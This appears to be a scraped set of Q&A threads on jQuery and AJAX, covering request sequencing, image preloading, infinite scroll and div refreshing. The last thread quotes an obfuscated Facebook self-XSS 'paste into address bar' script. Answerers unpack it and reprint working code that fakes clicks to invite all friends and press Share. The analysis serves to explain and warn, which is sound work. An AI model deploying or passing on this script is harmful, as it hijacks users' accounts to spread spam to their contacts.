I have the following. What is basically happening is I'm prefilling all the dropdowns/select options. I then retrieve the data for the current record and select the appropriate value for each dropdown/select option.
$(dropdowns_sql).each(function (key, value) {
var sql = value.sql;
var dropdown = value.dropdown;
$.post(d + '/inc/db.asp', {
type: value.sql
}, function (data) {
json_object = JSON.parse(data);
}).done(function () {
$.each(json_object, function (k, v) {
$('#' + dropdown).append($("<option></option>").attr("value", v[sql]).text(v[sql]));
});
});
});
get_record_data();
My question is how I can ensure that get_record_data(); is run after the loop has finished? As you can see I make POST requests within the loop so what I am finding is that sometimes these don't finish before get_record_data(); is called.
I did try:
$( document ).ajaxStop(function() {
get_record_data();
});
However since get_record_data(); is doing an AJAX request as well, I am finding it just goes into an infinite loop
function get_record_data() {
$.post(d + '/inc/db.asp', {
type: 'get_record',
id: complex_record_id
}, function (data) {
...
Any suggestions? I need support for IE11 as well.
Thanks.
Know how many elements are in dropdowns_sql, make a count var and include the get_record_data call within the done function for the last element.
Something like:
var count = dropdowns_sql.length;
$(dropdowns_sql).each(function (key, value) {
var sql = value.sql;
var dropdown = value.dropdown;
$.post(d + '/inc/db.asp', {
type: value.sql
}, function (data) {
json_object = JSON.parse(data);
}).done(function () {
$.each(json_object, function (k, v) {
$('#' + dropdown).append($("<option></option>").attr("value", v[sql]).text(v[sql]));
});
if (!--count) get_record_data();
});
});
Firstly, I have been researching this for a while, but I feel like this problem is a little beyond my abilities to solve on my own. Or at least, beyond my experience at this point, as I have never done this before.
I have a <div> that contains an <img> tag which I use JavaScript to change the source of to create a simple slideshow.
The Simple HTML:
<div id="slideShowWrapper">
<img id="slideShowImage" src="~/Images/City_Images/Okmulgee_Clock_2.jpg" alt="Okmulgee Clock" title="Slide Show Paused" />
</div>
The problem I am having is that when a user visits the site for the first time, the images take too long to load during their first pass through the slideshow, and it throws of the timing of the slideshow. Once the browser has the images cached, it works fine. If there were a way to load all of the pictures before the slideshow starts I believe it would fix the problem. During testing, this problem never arose because the images were already cached by my browser so no excessive loading time was needed.
Here is the JavaScript (jQuery) I use for the slide-show. The images originally come from a server-side database so I use AJAX to get the file name values I need (currently there are only 14 entries/pictures in the database, but this number could increase or decrease as site admins will be able to edit the pictures in the slideshow through a partial CMS). To explain some of the code, this slide-show has the functionality to pause on mouse-over and resume on mouse-out.
jQuery(function ($) {
//Slideshow functionality
var paths = new Array();
var timer = new Array();
var pathsString = "";
var i = 1;
var panel = $("img#slideShowImage");
var fTimer;
var tTimer;
var t2Timer;
var fadingOut = false;
var slideShowOn = false;
var showTimer;
$.ajax({
url: "/AJAX Pages/Compute_Slide_Show.cshtml",
async: false,
type: "GET",
success: function (response) {
paths = response.split("/*\\");
},
error: function (jqXHR, textStatus, error) {
paths[0] = "Okmulgee_Clock_2.jpg";
}
});
if (paths.length > 0) {
panel.attr("src", "/Images/SlideShowPics/" + paths[0])
if (paths.length > 1) {
swapImage();
}
}
else {
panel.attr("src", "/Images/City_Images/Okmulgee_Clock_2.jpg");
}
panel.mouseout(function () {
if (paths.length > 1) {
runSlideShow();
}
});
panel.mouseover(function () {
if (paths.length > 1) {
stopSlideShow();
}
});
function runSlideShow() { //Calls the swapImage function to begin or resume the slide show
if (slideShowOn == false) {
slideShowOn = true;
if (fadingOut == false) {
clearTimeouts();
}
showTimer = setTimeout(swapImage, 1552);
}
};
function stopSlideShow() { //Pauses the slide show
clearTimeout(showTimer);
if (fadingOut == true) {
fTimer = setTimeout(clearTimeouts, 1551);
}
else if (fadingOut == false) {
clearTimeout(tTimer);
clearTimeouts();
}
slideShowOn = false;
};
function swapImage() { //Fades out the slideshow image
tTimer = setTimeout(function () { fadingOut = true }, 4549);
timer[0] = setTimeout(function () { panel.css('opacity', '0.9') }, 4550);
timer[2] = setTimeout(function () { panel.css('opacity', '0.8') }, 4600);
timer[4] = setTimeout(function () { panel.css('opacity', '0.7') }, 4650);
timer[6] = setTimeout(function () { panel.css('opacity', '0.6') }, 4700);
timer[8] = setTimeout(function () { panel.css('opacity', '0.5') }, 4750);
timer[10] = setTimeout(function () { panel.css('opacity', '0.4') }, 4800);
timer[12] = setTimeout(function () { panel.css('opacity', '0.3') }, 4850);
timer[14] = setTimeout(function () { panel.css('opacity', '0.2') }, 4900);
timer[16] = setTimeout(function () { panel.css('opacity', '0.1') }, 4950);
timer[18] = setTimeout(function () { panel.css('opacity', '0') }, 5000);
timer[20] = setTimeout(swapImage2, 5050);
}
function swapImage2() { //Changes and fades in the slideshow image
panel.attr("src", "/Images/SlideShowPics/" + paths[i]);
if (i < paths.length - 1) {
i++;
}
else {
i = 0;
}
timer[21] = setTimeout(function () { panel.css('opacity', '0.1') }, 550);
timer[23] = setTimeout(function () { panel.css('opacity', '0.2') }, 600);
timer[25] = setTimeout(function () { panel.css('opacity', '0.3') }, 650);
timer[27] = setTimeout(function () { panel.css('opacity', '0.4') }, 700);
timer[29] = setTimeout(function () { panel.css('opacity', '0.5') }, 750);
timer[31] = setTimeout(function () { panel.css('opacity', '0.6') }, 800);
timer[33] = setTimeout(function () { panel.css('opacity', '0.7') }, 850);
timer[35] = setTimeout(function () { panel.css('opacity', '0.8') }, 900);
timer[37] = setTimeout(function () { panel.css('opacity', '0.9') }, 950);
timer[39] = setTimeout(function () { panel.css('opacity', '1') }, 1000);
t2Timer = setTimeout(function () { fadingOut = false }, 1050);
timer[41] = setTimeout(swapImage, 1050);
}
function clearTimeouts() { //Clears all slide show timers
for (key in timer) {
clearTimeout(timer[key]);
}
}
});
I tried reading up on this myself, but I am not getting answers that I feel I can adapt to my code. Either that or the solution is above my head.
SO sites I read up on:
Slideshow starts while images are loading but first image isn't displayed until all are downloaded
loading all images before slideshow
If you want to check out the problem yourself, you should be able to get there by visiting this link: http://test.cityofokmulgee.org:54543
Remember that this error is probably only going to naturally show up the first time you load up the page. After that your browser will have cached the images and the load time won't throw off the timing of the slide-show (unless you clear the images from the browser cache, something I have been unsuccessful in doing, myself). Also, I'm not sure if this issue will even show up in Chrome, but I know it does in IE.
Any help is much appreciated, as this is the major bug disallowing this site to go live, and I have never done anything like pre-loading images before, so I don't have any idea where to start.
Additional Info That Might Be Useful:
The contents of the server-side file, Compute_Slide_Show.cshtml (written in C#):
#{
Layout = "";
string fileNames = "";
if(IsAjax)
{
var db = Database.Open("Content");
bool firstRun = true;
foreach (var row in db.Query("SELECT FileOrder, FileName FROM SlideShow WHERE FileName IS NOT NULL AND FileName <> '' ORDER BY FileOrder ASC"))
{
if (firstRun == true)
{
firstRun = false;
fileNames += row.FileName;
}
else
{
fileNames += "/*\\";
fileNames += row.FileName;
}
}
}
else
{
Context.RedirectLocal("~/home.cshtml");
}
#:#fileNames
}
Oh dear, I see a lot of weird stuff in there!
First idea: do you really need to create your own slideshow? In your case I'd rather create the markup with jQuery/AJAX and apply an existing slider, like flexslider, to your images. Why dont you do that?
The second thing, just for the sake of it, is how you solved that opacity dimming. In jQuery, you can easily animate an element via .animate() (which expects a css map) or just use fade(), like so:
function swapImage() { //Fades out the slideshow image
tTimer = setTimeout(function () { fadingOut = true;
panel.stop().fadeTo(500, 0, function() {
// callback after the element has been faded
swapImage2();
});
}, 4549);
}
just besides: setting the opacity via css istn crossbrowser anyways.
To get to your loading thingy, there are several ways how to do this, my advice would be to append an image for each key in paths in a hidden div:
for (var i = 0; i < paths.length; i++) {
$('.hidden').append('<img src="' + paths[i] + '" />');
}
var checkforloaded = setInterval(function() {
var _loaded = 0;
for (var i = 0; i < paths.length; i++) {
var image = $('.hidden').children().eq(i).get(0);
if (image.complete || image.readyState == 'complete' || image.readyState == 4) {
_loaded++;
}
}
if (_loaded === paths.length) {
clearInterval(checkforloaded);
// start the slider
}
}, 80);
Hi I only started working on JQuery Mobile a month ago and my starting project was to build an app to load my blog posts. After spending days and night researching and support from SO, I did manage to get my blog posts loaded and also added a Load More link to append new contents.
My intention no is rather than use a link, I want the new contents appended when I scroll to end of page. I do not plan to use a plugin for now but was hoping I could write a simple code to do that for me. This is my current code (First function to load initial contenst while the 2nd function is to append more contents. Not sure if this is the best approach but like I said, I am still in learning process)
$(document).on('pagebeforeshow', '#blogposts', function () {
$.ajax({
url: "http://howtodeployit.com/?json=recentstories",
dataType: "json",
beforeSend: function () {
$('#loader').show();
},
complete: function () {
$('#loader').hide();
},
success: function (data) {
$('#postlist').empty();
$.each(data.posts, function (key, val) {
//Output data collected into page content
var rtitle = $('<p/>', {
'class': 'vtitle',
html: val.title
}),
var rappend = $('<li/>').append(rtitle);
$('#postlist').append(rappend);
return (key !== 5);
});
$("#postlist").listview().listview('refresh');
},
error: function (data) {
alert("Service currently not available, please try again later...");
}
});
});
$(document).on("click", ".load-more", function () {
$.getJSON("http://howtodeployit.com/?json=recentstories", function (data) {
var currentPost = $('#postlist');
console.log(currentPost);
loadMore = currentPost.parent().find('.load-more');
var currentPostcount = $('#postlist li').length;
console.log(currentPostcount);
var desiredPosts = 3;
newposts = data.posts.slice(currentPostcount, currentPostcount + desiredPosts);
$.each(newposts, function (key, val) {
var rtitle = $('<p/>', {
'class': 'vtitle',
html: val.title
}),
var rappend = $('<li/>').append(rtitle);
$('#postlist').append(rappend);
$("#postlist").listview('refresh');
});
});
});
Sorry if this type of question had been answered else where. Please post link
This is a typical approach with jquery,
$(window).scroll(function () {
if ($(window).scrollTop() == $(document).height() - $(window).height()) {
/*end reached*/
$('.content').html($('.content').html()+"more</br></br></br></br>");
}
});
example with jqm,
http://jsfiddle.net/F5McF/
Try this example it works.
function loaddata()
{
var el = $("outer");
if( (el.scrollTop + el.clientHeight) >= el.scrollHeight )
{
el.setStyles( { "background-color": "green"} );
}
else
{
el.setStyles( { "background-color": "red"} );
}
}
window.addEvent( "domready", function()
{
$("outer").addEvent( "scroll", loaddata );
} );
Fiddle is
http://jsfiddle.net/wWmqr/1/
Ive got a div with the id "responsecontainer" and I want to load a page. If the contents of the DIV have changed then update the DIV otherwise just leave it the same.
Here is my code, which doesnt work;
<script>
$(document).ready(function () {
$("#responsecontainer").load("qr.asp");
var refreshId = setInterval(function () {
$.get("qr.asp?randval=" + Math.random(), function (result) {
var newContent = $('.result').html(result);
if (newContent != $("#responsecontainer")) {
$("#responsecontainer").html(result);
};
});
}, 5000);
$.ajaxSetup({
cache: false
});
});
</script>
This:
if (newContent != $("#responsecontainer")) {
Should be this:
if (newContent != $("#responsecontainer").html()) {
I wouldn't rely on .html() representations for string comparison.
The browser decides how the HTML string should be rendered, and the developer won't be able to have any control if the browser decides it should be displayed differently one time.
You should have a variable that is accessible to each interval invocation, and do a string comparison between the old and new responses.
$(document).ready(function () {
var prev_response;
$("#responsecontainer").load("qr.asp", function(resp) {
prev_response = resp;
});
var refreshId = setInterval(function () {
$.get("qr.asp?randval=" + Math.random(), function (result) {
if (prev_response !== result) {
prev_response = result;
$("#responsecontainer").html(result);
}
});
}, 5000);
$.ajaxSetup({
cache: false
});
});
Not so much a question to help my own programming, but I found this page on facebook with a cool illusion and a page that says "to see the real illusion, copy and paste this code into your address bar" and there is a script:
DISCLAIMER: DO NOT RUN THE FOLLOWING CODE
javascript:(function(){a='app129556453726651_fsDszN';
b='app129556453726651_rcgAmd';
rhsjGW='app129556453726651_rhsjGW';SqmbQL='app129556453726651_SqmbQL';
kPtsfs='app129556453726651_kPtsfs';
eval(function(p,a,c,k,e,r){e=function(c)
{return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e)
{return r[e]}];e=function(){return'\\w+'};c=1};
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
return p}
('P e=["\\p\\g\\l\\g\\I\\g\\k\\g\\h\\D","\\l\\h\\D\\k\\f","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\J\\D\\Q\\x","\\y\\g\\x\\x\\f\\j","\\g\\j\\j\\f\\z\\R\\K\\L\\S","\\p\\n\\k\\A\\f","\\l\\A\\o\\o\\f\\l\\h","\\k\\g\\G\\f\\q\\f","\\l\\k\\g\\j\\G","\\L\\r\\A\\l\\f\\v\\p\\f\\j\\h\\l","\\t\\z\\f\\n\\h\\f\\v\\p\\f\\j\\h","\\t\\k\\g\\t\\G","\\g\\j\\g\\h\\v\\p\\f\\j\\h","\\x\\g\\l\\u\\n\\h\\t\\y\\v\\p\\f\\j\\h","\\l\\f\\k\\f\\t\\h\\w\\n\\k\\k","\\l\\o\\q\\w\\g\\j\\p\\g\\h\\f\\w\\T\\r\\z\\q","\\H\\n\\U\\n\\V\\H\\l\\r\\t\\g\\n\\k\\w\\o\\z\\n\\u\\y\\H\\g\\j\\p\\g\\h\\f\\w\\x\\g\\n\\k\\r\\o\\W\\u\\y\\u","\\l\\A\\I\\q\\g\\h\\X\\g\\n\\k\\r\\o","\\g\\j\\u\\A\\h","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\l\\J\\D\\K\\n\\o\\Y\\n\\q\\f","\\Z\\y\\n\\z\\f","\\u\\r\\u\\w\\t\\r\\j\\h\\f\\j\\h"];
d=M;d[e[2]](1a)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];
s=d[e[2]](e[6]);m=d[e[2]](e[7]);N=d[e[2]](e[8]);c=d[e[10]](e[9]);c[e[12]](e[11],E,E);
s[e[13]](c);B(C(){1b[e[14]]()},O);B(C(){1c[e[17]](e[15],e[16]);B(C(){c[e[12]](e[11],E,E);N[e[13]](c);B(C(){F=M[e[19]](e[18]);1d(i 1e F){1f(F[i][e[5]]==e[1g])
{F[i][e[13]](c)}};m[e[13]](c);B(C(){d[e[2]](1h)[e[4]]=d[e[2]](1i)[e[5]];},1k)},1l)},1m)},O);
',62,85,'||||||||||||||variables|x65|x69|x74||x6E|x6C|x73||x61|x67|x76|x6D|x6F||x63|x70|x45|x5F|x64|x68|x72|x75|setTimeout|function|x79|true|inp|x6B|x2F|x62|x42|x54|x4D|document|sl|5000|var|x49|x48|x4C|x66|x6A|x78|x2E|x44|x4E|x53|||||||||||kPtsfs|fs|SocialGraphManager|for|in|if|20|SqmbQL|rhsjGW|21|2000|4000|3000'.split('|'),0,{}))})();
What the hell is this? What would happen if I put it in my address bar, which I assume would be a very unwise idea?
I am confused.
It's unclear at first what that code does (as it is intended to be) so to answer your question, the code has to be unpacked. Just so you can follow my thinking, I'm including every step of the unobfuscation here.
This is the current form of the script with line breaks added:
(function() {
a='app129556453726651_fsDszN';
b='app129556453726651_rcgAmd';
rhsjGW='app129556453726651_rhsjGW';
SqmbQL='app129556453726651_SqmbQL';
kPtsfs='app129556453726651_kPtsfs';
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('P e=["\\p\\g\\l\\g\\I\\g\\k\\g\\h\\D","\\l\\h\\D\\k\\f","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\J\\D\\Q\\x","\\y\\g\\x\\x\\f\\j","\\g\\j\\j\\f\\z\\R\\K\\L\\S","\\p\\n\\k\\A\\f","\\l\\A\\o\\o\\f\\l\\h","\\k\\g\\G\\f\\q\\f","\\l\\k\\g\\j\\G","\\L\\r\\A\\l\\f\\v\\p\\f\\j\\h\\l","\\t\\z\\f\\n\\h\\f\\v\\p\\f\\j\\h","\\t\\k\\g\\t\\G","\\g\\j\\g\\h\\v\\p\\f\\j\\h","\\x\\g\\l\\u\\n\\h\\t\\y\\v\\p\\f\\j\\h","\\l\\f\\k\\f\\t\\h\\w\\n\\k\\k","\\l\\o\\q\\w\\g\\j\\p\\g\\h\\f\\w\\T\\r\\z\\q","\\H\\n\\U\\n\\V\\H\\l\\r\\t\\g\\n\\k\\w\\o\\z\\n\\u\\y\\H\\g\\j\\p\\g\\h\\f\\w\\x\\g\\n\\k\\r\\o\\W\\u\\y\\u","\\l\\A\\I\\q\\g\\h\\X\\g\\n\\k\\r\\o","\\g\\j\\u\\A\\h","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\l\\J\\D\\K\\n\\o\\Y\\n\\q\\f","\\Z\\y\\n\\z\\f","\\u\\r\\u\\w\\t\\r\\j\\h\\f\\j\\h"];d=M;d[e[2]](1a)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);N=d[e[2]](e[8]);c=d[e[10]](e[9]);c[e[12]](e[11],E,E);s[e[13]](c);B(C(){1b[e[14]]()},O);B(C(){1c[e[17]](e[15],e[16]);B(C(){c[e[12]](e[11],E,E);N[e[13]](c);B(C(){F=M[e[19]](e[18]);1d(i 1e F){1f(F[i][e[5]]==e[1g]){F[i][e[13]](c)}};m[e[13]](c);B(C(){d[e[2]](1h)[e[4]]=d[e[2]](1i)[e[5]];},1k)},1l)},1m)},O);',62,85,'||||||||||||||variables|x65|x69|x74||x6E|x6C|x73||x61|x67|x76|x6D|x6F||x63|x70|x45|x5F|x64|x68|x72|x75|setTimeout|function|x79|true|inp|x6B|x2F|x62|x42|x54|x4D|document|sl|5000|var|x49|x48|x4C|x66|x6A|x78|x2E|x44|x4E|x53|||||||||||kPtsfs|fs|SocialGraphManager|for|in|if|20|SqmbQL|rhsjGW|21|2000|4000|3000'.split('|'),0,{}))
})();
As we can see, the script itself is a function inside a self calling closure that will execute instantly when the script is processed. The script contains some cryptic variables and some code packed with Edward's packer. When we unpack the code using an unpacker like this, we get the following form (line breaks added):
(function(){
a='app129556453726651_fsDszN';
b='app129556453726651_rcgAmd';
rhsjGW='app129556453726651_rhsjGW';
SqmbQL='app129556453726651_SqmbQL';
kPtsfs='app129556453726651_kPtsfs';
var variables = [
"\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79",
"\x73\x74\x79\x6C\x65",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
"\x68\x69\x64\x64\x65\x6E",
"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
"\x76\x61\x6C\x75\x65",
"\x73\x75\x67\x67\x65\x73\x74",
"\x6C\x69\x6B\x65\x6D\x65",
"\x73\x6C\x69\x6E\x6B",
"\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
"\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
"\x63\x6C\x69\x63\x6B",
"\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
"\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
"\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
"\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
"\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
"\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67",
"\x69\x6E\x70\x75\x74",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65",
"\x53\x68\x61\x72\x65",
"\x70\x6F\x70\x5F\x63\x6F\x6E\x74\x65\x6E\x74"];
d = document;
d[variables[2]](kPtsfs)[variables[1]][variables[0]] = variables[3];
d[variables[2]](a)[variables[4]] = d[variables[2]](b)[variables[5]];
s = d[variables[2]](variables[6]);
m = d[variables[2]](variables[7]);
sl = d[variables[2]](variables[8]);
c = d[variables[10]](variables[9]);
c[variables[12]](variables[11], true, true);
s[variables[13]](c);
setTimeout(function () {
fs[variables[14]]()
}, 5000);
setTimeout(function () {
SocialGraphManager[variables[17]](variables[15], variables[16]);
setTimeout(function () {
c[variables[12]](variables[11], true, true);
sl[variables[13]](c);
setTimeout(function () {
inp = document[variables[19]](variables[18]);
for (i in inp) {
if (inp[i][variables[5]] == variables[20]) {
inp[i][variables[13]](c)
}
};
m[variables[13]](c);
setTimeout(function () {
d[variables[2]](SqmbQL)[variables[4]] = d[variables[2]](rhsjGW)[variables[5]];
}, 2000)
}, 4000)
}, 3000)
}, 5000);
})();
We can instantly see from that that the code is executing commands in specific intervals, first after 5 seconds, then three, then four and finally after two seconds. The beginning of the script contains some hex encoded variables that can be decoded to this:
var variables = [
"visibility",
"style",
"getElementById",
"hidden",
"innerHTML",
"value",
"suggest",
"likeme",
"slink",
"MouseEvents",
"createEvent",
"click",
"initEvent",
"dispatchEvent",
"select_all",
"sgm_invite_form",
"/ajax/social_graph/invite_dialog.php",
"submitDialog",
"input",
"getElementsByTagName",
"Share",
"pop_content"];
By substituting those variables into the code, we get:
(function(){
a='app129556453726651_fsDszN';
b='app129556453726651_rcgAmd';
rhsjGW='app129556453726651_rhsjGW';
SqmbQL='app129556453726651_SqmbQL';
kPtsfs='app129556453726651_kPtsfs';
d = document;
d["getElementById"](kPtsfs)["style"]["visibility"] = "hidden";
d["getElementById"](a)["innerHTML"] = d["getElementById"](b)["value"];
s = d["getElementById"]("suggest");
m = d["getElementById"]("likeme");
sl = d["getElementById"]("slink");
c = d["createEvent"]("MouseEvents");
c["initEvent"]("click", true, true);
s["dispatchEvent"](c);
setTimeout(function () {
fs["select_all"]()
}, 5000);
setTimeout(function () {
SocialGraphManager["submitDialog"]("sgm_invite_form", "/ajax/social_graph/invite_dialog.php");
setTimeout(function () {
c["initEvent"]("click", true, true);
sl["dispatchEvent"](c);
setTimeout(function () {
inp = document["getElementsByTagName"]("input");
for (i in inp) {
if (inp[i]["value"] == "Share") {
inp[i]["dispatchEvent"](c)
}
};
m["dispatchEvent"](c);
setTimeout(function () {
d["getElementById"](SqmbQL)["innerHTML"] = d["getElementById"](rhsjGW)["value"];
}, 2000)
}, 4000)
}, 3000)
}, 5000);
})();
And as we know that document['getElementById'] is the same as document.getElementById, we can clean up the code so it finally becomes readable. I've also done variable replacement and separated the setTimeouts for readability:
(function(){
document.getElementById('app129556453726651_kPtsfs').style.visibility = "hidden";
document.getElementById('app129556453726651_fsDszN').innerHTML = document.getElementById('app129556453726651_rcgAmd').value;
s = document.getElementById("suggest");
m = document.getElementById("likeme");
sl = document.getElementById("slink");
c = document.createEvent("MouseEvents");
c.initEvent("click", true, true);
s.dispatchEvent(c);
setTimeout(function () {
fs.select_all()
}, 5000);
setTimeout(function () {
SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php");
}, 5000);
setTimeout(function () {
c.initEvent("click", true, true);
sl.dispatchEvent(c);
}, 8000);
setTimeout(function () {
inp = document.getElementsByTagName("input");
for (i in inp) {
if (inp[i].value == "Share") {
inp[i].dispatchEvent(c);
}
};
m.dispatchEvent(c);
}, 12000);
setTimeout(function () {
document.getElementById('app129556453726651_SqmbQL').innerHTML = document.getElementById('app129556453726651_rhsjGW').value;
}, 14000);
})();
Now, without knowing much of how Facebook works, this indeed looks malicious, sharing stuff you might not want to share etc. The main idea of this post was to show how you can decrypt scripts like this yourself also. :)
It is a facebook 'virus' of sort.. it actually invites all your friends to an app named socialgraph
reference: http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit
This question comes up every day now...
It is code that invites all your friends to join a group (or something similar). Then the group starts spamming advertisements at it's members.
Malicious Code
document.getElementById('app129556453726651_kPtsfs').style.visibility = 'hidden';
document.getElementById('app129556453726651_fsDszN').innerHTML = document.getElementById('app129556453726651_rcgAmd').value;
var s = document.getElementById('suggest');
var m = document.getElementById('likeme');
var sl = document.getElementById('slink');
var c = document.createEvent("MouseEvents");
c.initEvent('click', true, true);
s.dispatchEvent(c);
setTimeout(function () {
fs.select_all()
SocialGraphManager.submitDialog('sgm_invite_form', '/ajax/social_graph/invite_dialog.php');
setTimeout(function () {
c.initEvent('click', true, true);
sl.dispatchEvent(c);
setTimeout(function () {
var inp = document.getElementsByTagName('input');
for (i in inp) {
if (inp[i].value == 'Share') {
inp[i].dispatchEvent(c)
}
};
m.dispatchEvent(c);
setTimeout(function () {
document.getElementById('app129556453726651_SqmbQL').innerHTML = document.getElementById('app129556453726651_rhsjGW').value;
}, 2000)
}, 4000)
}, 3000)
}, 5000);